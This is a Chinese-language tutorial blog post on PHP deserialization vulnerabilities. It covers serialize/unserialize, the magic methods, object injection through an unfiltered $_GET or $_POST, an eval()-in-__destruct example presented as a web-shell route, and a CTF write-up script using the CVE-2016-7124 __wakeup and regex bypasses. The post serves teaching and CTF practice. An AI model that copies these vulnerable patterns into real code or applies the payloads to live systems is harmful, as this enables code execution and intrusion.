详解php反序列化


Posted in PHP onJune 10, 2020

1  前言

最近也是在复习之前学过的内容,感觉对PHP反序列化的理解更加深了,所以在此总结一下

2  serialize()函数

     “所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”

一开始看这个概念可能有些懵,但之后也是慢慢理解了

在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。

$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件

下面通过一个具体的例子来了解一下序列化:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
  }
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = 'daye';

//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);

?>

这个是结果:

详解php反序列化

可以看到序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写。

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

了解了缩写的类型字母,便可以得到PHP序列化格式

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

通过以上例子,便可以理解了概念中的通过serialize()函数返回一个包含字节流的字符串这一段话。

3  unserialize()函数

unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。 

简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。

$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串)
 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

通过一个例子来了解反序列化:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
  }
}
//重建对象
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');

$user->PrintData();

?>

这个是结果:

详解php反序列化

注意:在解序列化一个对象前,这个对象的类必须在解序列化之前定义。否则会报错

4  PHP反序列化漏洞

在学习漏洞前,先来了解一下PHP魔法函数,对接下来的学习会很有帮助

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法

__construct  当一个对象创建时被调用,
__destruct  当一个对象销毁时被调用,
__toString  当一个对象被当作一个字符串被调用。
__wakeup()  使用unserialize时触发
__sleep()  使用serialize时触发
__destruct()  对象被销毁时触发
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()  用于从不可访问的属性读取数据
__set()  用于将数据写入不可访问的属性
__isset()  在不可访问的属性上调用isset()或empty()触发
__unset()   在不可访问的属性上使用unset()时触发
__toString()  把类当作字符串使用时触发,返回值需要为字符串
__invoke()  当脚本尝试将对象调用为函数时触发

这里只列出了一部分的魔法函数,具体可见

https://www.php.net/manual/zh/language.oop5.magic.php

下面通过一个例子来了解一下魔法函数被自动调用的过程

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array('varr1','varr2');
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP();  //调用echoP()方法,输出"abc"
echo $obj;  //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

这个是结果:

详解php反序列化

通过这个例子就可以清晰的看到魔法函数在符合相应的条件时便会被调用。

5  对象注入

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

对象漏洞出现得满足两个前提:

       一、unserialize的参数可控。 

       二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
下面来举个例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

比如这个列子,直接是用户生成的内容传递给unserialize()函数,那就可以构造这样的语句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出lemon。

详解php反序列化

发现这个漏洞,便可以利用这个漏洞点控制输入变量,拼接成一个序列化对象。

再看一个例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

其实仔细观察就会发现,其实我们手动构造序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。

所以我们利用这个漏洞点便可以获取web shell了

详解php反序列化

6  绕过魔法函数的反序列化

wakeup()魔法函数绕过

PHP5<5.6.25
PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

百度杯——Hash

详解php反序列化

其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容

    (1)绕过正则表达式对变量的检查
    (2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php

那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化脚本

<?php
class Demo {
  private $file = 'Gu3ss_m3_h2h2.php';

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'Gu3ss_m3_h2h2.php') {
      //the secret is in the f15g_1s_here.php
      $this->file = 'Gu3ss_m3_h2h2.php';
    }
  }
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo('f15g_1s_here.php');
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(':1:',':2:',$a);
#再进行base64编码
echo base64_encode($a);
?>

以上就是详解php反序列化的详细内容,更多关于php反序列化的资料请关注三水点靠木其它相关文章!

PHP 相关文章推荐
PHP5 面向对象(学习记录)
Dec 02 PHP
PHP下操作Linux消息队列完成进程间通信的方法
Jul 24 PHP
关于PHP session 存储方式的详细介绍
Jun 25 PHP
使用php验证复选框有效性的示例
Nov 13 PHP
PHP empty函数报错解决办法
Mar 06 PHP
PHP实现过滤各种HTML标签
May 17 PHP
php获取系统变量方法小结
May 29 PHP
从性能方面考虑PHP下载远程文件的3种方法
Dec 29 PHP
PHP入门教程之表单与验证实例详解
Sep 11 PHP
PHP两种实现无级递归分类的方法
Mar 02 PHP
PHP多种序列化/反序列化的方法详解
Jun 23 PHP
thinkPHP5框架闭包函数与子查询传参用法示例
Aug 02 PHP
实例讲解PHP表单
Jun 10 #PHP
如何在PHP中使用数组
Jun 09 #PHP
详解PHP中curl_multi并发的实现
Jun 08 #PHP
THINKPHP5.1 Config的配置与获取详解
Jun 08 #PHP
ThinkPHP5.1验证码功能实现的示例代码
Jun 08 #PHP
php框架CI(codeigniter)自动加载与自主创建对象操作实例分析
Jun 06 #PHP
CI框架简单分页类用法示例
Jun 06 #PHP
You might like
php方法调用模式与函数调用模式简例
2011/09/20 PHP
使用Sphinx对索引进行搜索
2013/06/25 PHP
php字符串截取函数用法分析
2014/11/25 PHP
Yii实现自动加载类地图的方法
2015/04/01 PHP
PHP也能干大事之PHP中的编码解码详解
2015/04/20 PHP
laravel执行php artisan migrate报错的解决方法
2019/10/09 PHP
laravel 创建命令行命令的图文教程
2019/10/23 PHP
JS启动应用程序的一个简单例子
2008/05/11 Javascript
js RuntimeObject() 获取ie里面自定义函数或者属性的集合
2010/11/23 Javascript
AJAX 网页保留浏览器前进后退等功能
2011/02/12 Javascript
JavaScript返回当前会话cookie全部键值对照的方法
2015/04/03 Javascript
jquery带翻页动画的电子杂志代码分享
2015/08/21 Javascript
基于jquery css3实现点击动画弹出表单源码特效
2015/08/31 Javascript
Javascript 动态改变imput type属性
2016/11/01 Javascript
php main 与 iframe 相互通讯类(js+php同域/跨域)
2017/09/14 Javascript
微信小程序实现action-sheet弹出底部菜单功能【附源码下载】
2017/12/09 Javascript
element-ui循环显示radio控件信息的方法
2018/08/24 Javascript
webpack4实现不同的导出类型
2019/04/09 Javascript
Vue请求java服务端并返回数据代码实例
2019/11/28 Javascript
js判断在哪个浏览器打开项目的方法
2020/01/21 Javascript
JavaScript实现Tab标签页切换的最简便方式(4种)
2020/06/28 Javascript
js实现圆形菜单选择器
2020/12/03 Javascript
Python中使用haystack实现django全文检索搜索引擎功能
2017/08/26 Python
NetworkX之Prim算法(实例讲解)
2017/12/22 Python
python实现学生管理系统
2018/01/11 Python
Python实现的NN神经网络算法完整示例
2018/06/19 Python
浅析Python函数式编程
2018/10/06 Python
Maxpeedingrods美国:高性能汽车零件
2020/02/14 全球购物
计算机应用职专应届生求职信
2013/11/12 职场文书
签订劳动合同通知书
2015/04/16 职场文书
2015仓库保管员年终工作总结
2015/05/13 职场文书
海上钢琴师的观后感
2015/06/11 职场文书
廉洁自律准则学习心得体会
2016/01/13 职场文书
使用nginx动态转换图片大小生成缩略图
2021/03/31 Servers
JS监听Esc 键触发事键
2021/04/14 Javascript
JavaScript实现简单的音乐播放器
2022/08/14 Javascript